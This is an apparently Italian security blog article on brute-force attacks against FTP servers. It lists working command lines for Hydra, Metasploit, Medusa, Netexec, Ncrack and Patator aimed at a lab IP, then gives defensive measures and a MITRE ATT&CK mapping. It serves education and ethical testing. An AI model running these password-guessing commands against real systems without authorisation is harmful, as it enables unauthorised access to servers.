Pensavi che un vecchio servizio come FTP fosse innocuo? Sbagliato.
Molti attacchi informatici iniziano proprio da lì. Se stai ancora usando FTP senza misure di sicurezza adeguate, potresti aver già lasciato la porta aperta agli hacker.

In questo articolo esplorerai come funziona il brute force su FTP, quali strumenti usano gli hacker (come Hydra, Medusa, Metasploit), come difenderti in modo concreto e quali strategie implementare per non essere la prossima vittima.

FTP: un portone spalancato per chi vuole entrare

FTP (File Transfer Protocol) è vecchio, ma non morto. Nonostante siano disponibili alternative più sicure come FTPS e SFTP, molte aziende continuano a utilizzare FTP senza crittografia, lasciando username e password visibili in chiaro.

La conseguenza? Un invito aperto per gli attacchi brute-force, che sono ancora oggi tra i metodi più semplici per ottenere accesso non autorizzato a un sistema.

Cos’è e come funziona un attacco brute-force su FTP

Un attacco brute-force su FTP consiste nel tentare sistematicamente diverse combinazioni di username e password per ottenere l’accesso non autorizzato a un server. Gli hacker utilizzano strumenti automatizzati per accelerare questo processo, sfruttando spesso credenziali deboli o predefinite.

Secondo Proofpoint, gli attacchi brute-force sono tra i metodi più semplici ma efficaci per compromettere sistemi, specialmente quando le password sono deboli o comuni.

Il concetto è semplice:

• Si prende una lista di username (user.txt)

• Si prende una lista di password (pass.txt)

• Un software prova tutte le combinazioni possibili, fino a trovare quella giusta

Ecco alcuni degli strumenti più usati per farlo:

1. Hydra

Uno degli strumenti più famosi per attacchi brute-force. Ecco come funziona:

hydra -L user.txt -P pass.txt ftp://192.168.1.110

Scopri come usare Hydra per attacchi FTP.

2. Metasploit

Metasploit non è solo per exploit avanzati. Ha anche moduli per brute-force:

use auxiliary/scanner/ftp/ftp_login
set rhosts 192.168.1.110
set user_file user.txt
set pass_file pass.txt
run

3. Medusa

Veloce e parallelo, perfetto per testare più credenziali contemporaneamente:

medusa -h 192.168.1.110 -U user.txt -P pass.txt -M ftp | grep “ACCOUNT FOUND”

4. Netexec (ex CrackMapExec)

Versatile e adatto a post-exploitation:

nxc ftp 192.168.1.110 -u user.txt -p pass.txt | grep [+]

5. Ncrack

Creato dai developer di Nmap. Ideale per test massivi:

ncrack -U user.txt -P pass.txt 192.168.1.110 -p 21

6. Patator

Multi-thread, potente, configurabile:

patator ftp_login host=192.168.1.110 user=FILE0 0=user.txt password=FILE1 1=pass.txt

7. BruteSpray

Automazione pura, ideale dopo una scansione con Nmap:

Come difendersi (davvero) dagli attacchi FTP

Non serve solo “chiudere le porte”. Serve una strategia a strati (defense-in-depth). Ecco cosa puoi fare da subito:

Strategie difensive efficaci

• Disattiva FTP e passa a SFTP o FTPS
• Imposta un sistema di rilevamento intrusione (es. Snort, Zeek)
• Blocca IP dopo tentativi falliti (fail2ban è ottimo)
• Attiva il monitoraggio dei log per eventi sospetti
• Imposta limiti di tentativi e lock temporanei
• Segmenta la rete interna per evitare movimenti laterali
• Abilita autenticazione a più fattori (MFA)

Mappatura MITRE ATT&CK

Gli attacchi brute-force su FTP rientrano perfettamente nel framework MITRE:

• T1110.001 – Brute Force: Password Guessing
• T1046 – Network Service Scanning
• T1078 – Valid Accounts

Se lavori nella cybersecurity o sei un sistemista IT, dovresti includere questi ID nei tuoi strumenti di detection (SIEM, XDR).

In sintesi: offensiva, difensiva e buonsenso

Conclusione

FTP può sembrare obsoleto, ma è ancora un punto d’ingresso molto sfruttato.
Ignorare la sicurezza di questo servizio significa offrire un accesso gratuito al cuore del tuo sistema.

Se non hai ancora migrato o protetto il tuo server FTP, ora è il momento. E se vuoi imparare a testare, attaccare e difendere, scarica la nostra guida gratuita Password Cracking — perché conoscere l’attacco è il primo passo per evitarlo.

Vuoi imparare a fare penetration testing etico? Dai un’occhiata al corso Ethical Hacking e porta le tue competenze al livello successivo.